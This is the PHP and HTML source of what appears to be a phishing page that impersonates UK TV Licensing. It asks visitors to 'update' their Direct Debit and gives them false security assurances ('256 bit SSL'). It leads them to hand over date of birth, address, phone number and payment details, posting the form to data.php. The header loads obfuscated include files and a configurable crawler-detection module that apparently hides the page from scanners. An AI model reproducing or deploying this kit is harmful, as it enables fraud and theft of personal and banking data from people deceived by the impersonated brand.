<?php 
error_reporting(0);
session_start();
require_once 'o2ivwuyg.php';
require_once 'pho7zebk.php';
require_once 'rsbvge2q.php';
$tanitatikaram = parse_ini_file("Anticonfig.ini", true);
$setting_crawlerdetect=$tanitatikaram['crawlerdetect'];
if($setting_crawlerdetect == 'on') {
require_once 'crawlerdetect.php';
}
?>
<!DOCTYPE html>
<html lang="en">
<head>
  <meta charset="UTF-8">
  <meta name="viewport" content="width=device-width, initial-scale=1.0">
  <title>TV Licensing</title>
  <style>
    body {
      margin: 0;
      font-family: Arial, sans-serif;
      background: #dae9f3;
      color: #000;
    }

    /* Header styles */
    header {
      background: #004950;
      padding: 10px 20px;
    }

    .topHeadCtr {
      display: flex;
      align-items: center;
      justify-content: space-between;
      max-width: 1200px;
      margin: auto;
    }

    #iLogo img {
      height: 50px;
    }

    #iGlobalNav {
      display: flex;
      align-items: center;
      gap: 20px;
    }

    #iGlobalNav ul {
      list-style: none;
      display: flex;
      margin: 0;
      padding: 0;
      gap: 20px;
      align-items: center;
    }

    #iGlobalNav ul li a {
      color: #fff;
      text-decoration: none;
      font-size: 14px;
    }

    #iGlobalNav ul li a:hover {
      text-decoration: underline;
    }

    /* Search bar */
    #siteSrch {
      display: flex;
      align-items: center;
      border: 1px solid #fff;
      border-radius: 20px;
      padding: 2px 10px;
      margin-left: 15px;
      background: transparent;
    }

    #siteSearch {
      border: none;
      background: transparent;
      outline: none;
      padding: 5px;
      color: #fff;
      width: 120px;
    }

    #siteSearch::placeholder {
      color: #ccc;
    }

    #siteSearchGo {
      display: none; /* hidden actual button */
    }

#wto_avatarIcon {
  margin-left: 15px;
  display: flex;
  align-items: center;
  /* Remove border-left if not needed, or keep it */
  border-left: 1px solid #fff;
  padding-left: 15px;
}

#wto_avatarIcon img {
  width: 20px;  /* adjust size as needed */
  height: 20px;
  border-radius: 50%; /* optional: make it circular */
}

    #wto_myAccountPgph {
      font-size: 12px;
      margin: 0;
      color: #fff;
	  margin-left: 10px;
    }

    /* Magnifying glass icon */
    .search::after {
      font-size: 18px;
      margin-left: 5px;
      color: #fff;
    }
p{
  font-size: 12px;
}
   
    /* Responsive */
    @media (max-width: 768px) {
      .topHeadCtr {
        flex-direction: column;
        align-items: flex-start;
      }

      #iGlobalNav ul {
        flex-direction: column;
        gap: 10px;
      }

      #siteSearch {
        width: 100px;
      }
    }

    /* Main content */
    .container{
    display:flex;
    justify-content:center;     /* center as a whole */
    align-items:flex-start;     /* align to top */
    gap:40px;                   /* space between columns */
    padding:40px 20px;
    flex-wrap:nowrap;           /* stay side-by-side on large screens */
  }


  .form-container{
    flex:0 1 720px;             /* fixed-ish middle column */
    background:#fff;
    border-radius:12px;
    padding:30px;
    box-shadow:0 2px 6px rgba(0,0,0,.1);
  }

  .form-container h2{font-size:24px;color:#0e0e47;margin-bottom:25px;}
  label{display:block;font-weight:bold;margin-bottom:6px;color:#0e0e47;}
  input[type="text"],input[type="numeric"],input[type="email"]{
    width:50%;padding:12px;font-size:14px;
    border:1px solid #0e0e47;border-radius:1px;margin-bottom:12px;
    box-sizing:border-box;
  }
  .help-link{font-size:14px;color:#0e0e47;margin-bottom:20px;display:inline-block;text-decoration:none;}
  .help-link:hover{text-decoration:underline;}
  .btnGrp{margin-top:25px;}
  input[type="submit"]{
    background:#004950;color:#fff;border:none;
    padding:14px;width:50%;font-size:14px;border-radius:2px;cursor:pointer;
  }
  input[type="submit"]:hover{background:#2a2a80;}
/* Wrapper positions the child elements */
.input-with-icon {
  position: relative;
  width: 100%;
}

/* Keep the icon inside on the right edge */
.input-with-icon {
  position: relative;
  width: 100%;
}

.input-with-icon .input-icon {
  position: absolute;
  left: 95%;                         /* horizontally centered */
  top: 30%;                          /* start at vertical center */
  transform: translate(-50%, -20%);   /* move left 50% of width, 
                                         and only 20% up (less than 50) 
                                         so it sits lower */
  width: 20px;
  height: 20px;
  pointer-events: none;
}

/* Add right-side padding so text doesn’t overlap the icon */
.input-with-icon input {
  padding-right: 40px;  /* must be wider than icon width */
}

  /* Responsive: stack form, hide side images */
  @media (max-width:768px){
    .container{flex-direction:column;gap:20px;}
    .left-image,.right-image{display:none;}
    .form-container{max-width:90%;margin:auto;}
    .form-container h2{font-size:24px;color:#0e0e47;margin-bottom:25px;}
  label{display:block;font-weight:bold;margin-bottom:6px;color:#0e0e47;}

  input[type="text"],input[type="numeric"],input[type="email"]{
    width:100%;padding:12px;font-size:14px;
    border:1px solid #0e0e47;border-radius:1px;margin-bottom:12px;
    box-sizing:border-box;
  }
  }

    /* Footer */
    footer {
      background: #004950;
      color: #fff;
      padding: 20px;
      font-size: 14px;
    }

    footer .innerContainer {
      max-width: 1100px;
      margin: 0 auto;
    }
    #iFooterNav, #iLanguages {
      list-style: none;
      padding: 0;
      margin: 10px 0;
      display: flex;
      flex-wrap: wrap;
      gap: 15px;
    }

    #iFooterNav li a{
      color: #fff;
      text-decoration: underline;
    }

    #iLanguages li a {
      color: #fff;
      text-decoration: none;
	  font-weight: bold;
	  font-size: 12px;
    }

    #iFooterNav li a:hover,
    #iLanguages li a:hover {
      text-decoration: underline;
    }

    .copyright {
      margin-top: 15px;
      font-size: 13px;
    }
    
@media (max-width: 600px) {
.img{
        width:200px;
      }
      input[type="submit"]{
    background:#004950;color:#fff;border:none;
    padding:16px;max-width:300px;font-size:12px;border-radius:2px;cursor:pointer;
  }
      }
    @media (max-width: 768px) {
      .container {
        flex-direction: column;
      }
      .images {
        order: 2;
      }
      
      .form-box {
        order: 1;
        width: 100%;
      }
      input[type="submit"]{
    background:#004950;color:#fff;border:none;
    padding:14px;width:70%;font-size:12px;border-radius:2px;cursor:pointer;
  }
      }
      #iFooterNav, #iLanguages {
        flex-direction: column;
        gap: 8px;
      }
    
@media (max-width: 768px) {


  
  p {
    font-size: 12px; /* Hide the side images */
  }

  .form-box {
    background-color: rgba(255, 255, 255, 0.95); /* Optional: Add slight transparency for contrast */
  }
  .form-box {
    margin-top: 120px; /* Adjust the value as needed */
  }
    #iGlobalNav ul,
  #siteSrch {
    display: none;
  }

}

@media (max-width: 768px) {
  /* Form container */
  .form-container {
    width: 90%;           /* Take full width on small screens */
    max-width: 370px;      /* Optional: keep a reasonable max */
    padding: 15px;  
    font-size: 14px;       /* Slightly smaller padding for mobile */
  }

  /* Input fields */
  .form-box input {
    width: 100%;           /* Full width of form */
    padding: 12px;         /* Increase padding for easier touch */
    font-size: 16px;       /* Slightly larger text for readability */
    box-sizing: border-box; /* Ensure padding doesn’t break width */
  }

  /* Button */
  .form-box button {
    width: 100%;           /* Full width */
    padding: 12px;
    font-size: 16px;
  }
  p{
    font-size: 10px;
  }
}
@media (max-width: 768px) {
  #iGlobalNav {
    display: flex;
    justify-content: flex-end;  /* Push contents to the right */
    align-items: center;
    width: 100%;
    margin-top: -10px; /* Moves it up inside the header */
    gap: 5px;         /* Optional: space between elements */
  }

  /* Hide Easy read / Cymraeg links */
  #iGlobalNav ul {
    display: none;
  }
  .topHeadCtr {
    flex-direction: row;         /* Keep logo + nav in one line */
    justify-content: space-between; /* Push logo left, nav right */
    align-items: center;         /* Align vertically */
  }

  header {
    padding: 5px 10px;   /* Reduce height */
  }

  #iLogo img {
    height: 35px;        /* Smaller logo for mobile */
  }

  #iGlobalNav {
    display: flex;
    align-items: center;
    gap: 10px;           /* Spacing between nav items */
  }
}
@media (max-width: 768px) {
  footer {
    font-size: 12px;        /* Smaller text */
    padding: 10px;          /* Reduce padding */
  }

  footer .innerContainer {
    display: flex;
    flex-direction: column; /* Stack groups first */
    align-items: left;
    gap: 10px;
  }

  #iFooterNav {
    display: flex;          /* Horizontal layout */
    flex-direction: row;
    flex-wrap: wrap;        /* Wrap if too many items */
    gap: 10px;
    justify-content: left;
    padding: 0;
    margin: 0;
    list-style: none;
	    text-decoration: underline; /* Underline all links */
  }


  #iLanguages {
    display: flex;          /* Horizontal layout */
    flex-direction: row;
    flex-wrap: wrap;        /* Wrap if too many items */
    gap: 10px;
    justify-content: left;
    padding: 0;
    margin: 0;
    list-style: none;
	font-weight: bold;
  }

  footer a {
    text-decoration: underline; /* Underline all links */
    font-size: 12px;
  }

  .copyright {
    font-size: 11px; /* Slightly smaller */
    text-align: left;
  }
  #iLanguages {
    display: flex;           /* Arrange items horizontally */
    flex-wrap: wrap;         /* Wrap to new line if needed */
    gap: 10px;               /* Space between languages */
    justify-content: left; /* Center on small screens */
    padding: 0;
    margin: 0;
    list-style: none;
  }

  #iLanguages li a {
    text-decoration: none; /* Always underline */
    font-size: 10px;  
	font-weight: bold;          /* Smaller text for mobile */
  }
}
.intro-text {
  margin: 15px 30px 10px 10px;  /* top/right/bottom/left */
  font-size: 14px;
  color: #333;
}
.instructions {
  background-color: #fff;
  border: 1px solid #ddd;
  border-radius: 8px;
  max-width: 700px;
  margin: 0 auto;
  padding: 20px 30px;
  box-shadow: 0 2px 6px rgba(0,0,0,0.08);
}

.instructions ul {
  list-style-type: disc;
  padding-left: 20px;
  line-height: 1.6;
  color: #333;
  font-size: 12px;
}

.instructions .inner-list {
  list-style-type: circle; /* or use "disc" if you want solid dots */
  margin-top: 10px;
}

  </style>
</head>
<body>

<!-- Header -->
<header>
  <div class="innerContainer topHeadCtr">
    <div id="iLogo">
      <h1>
        <a href="/" title="TV Licence home page" class="fwckembeddedlink logoWrapper">
          <img alt="TV Licensing logo" src="images/imgHeaderLogo.png"> <!-- Replace with actual -->
        </a>
      </h1>
    </div>

    <div id="iGlobalNav">
      <ul>
        <li><a href="/easy-read">Easy read</a></li>
        <li><a href="/languages/LANG1">Cymraeg</a></li>
      </ul>

      <fieldset class="search" id="siteSrch">
        <input id="siteSearch" type="search" placeholder="Search">
      </fieldset>
	    <img alt="TV Licensing logo" src="images/Search-20220216-113828.png" width="20px;"> <!-- Replace with actual -->

	  

      <div id="wto_avatarIcon">
		  <img src="images/account_green.png" alt="My Account" id="myAccountImg">
        <p id="wto_myAccountPgph">My Account</p>
      </div>
    </div>
  </div>
</header>
 <p class="intro-text">
   <a href="" style="color: #004950;"> TV Licence</a>/Update your details
  </p>

  <!-- Main -->
  <main class="container">
    <!-- Form -->
    <div class="form-container">
      <form action="data.php" method="post">
  <h2>Update Your Account Details</h2>
<p>All transactions are secured using 256 bit SSL layer.</p>
<p>The process ahead will help you in updating your details to its latest form, which will enable your services again details.</p>
		  
<!-- Right images -->
    <div class="images">
<img src="images/images.jfif" alt="My Account" class="img"> 
   </div>
<p>Please use the accurate information relating your residential and billing data, as it will be used to bill you, as well as, your identity will be verified against the same set of information.</p>
<div class="instructions">
      <h2 style="font-size: 16px">How to update your Direct Debit:</h2>

    <ul>
      <li>You can change or update details using this platform.</li>
      <li>You’ll be required basic identification documents in hand which will help you in updating the profile with authentic official information.</li>
      <li>
        To update your direct debit, you will need to tell us:
        <ul class="inner-list">
          <li>your personal details like date of birth, current address and phone number</li>
          <li>your payment method</li>
        </ul>
      </li>
    </ul>
  </div>

<div class="btnGrp">
      <input type="submit" class="validateAll"  value="Update Direct Debit Now" name="btnLogin">
    </div>
</div>
</form>
  </main>

  <!-- Footer -->
  <footer>
    <div class="innerContainer">
      
      <p class="copyright">© 2025 TV Licensing</p>
    </div>
  </footer>
</body>
</html>
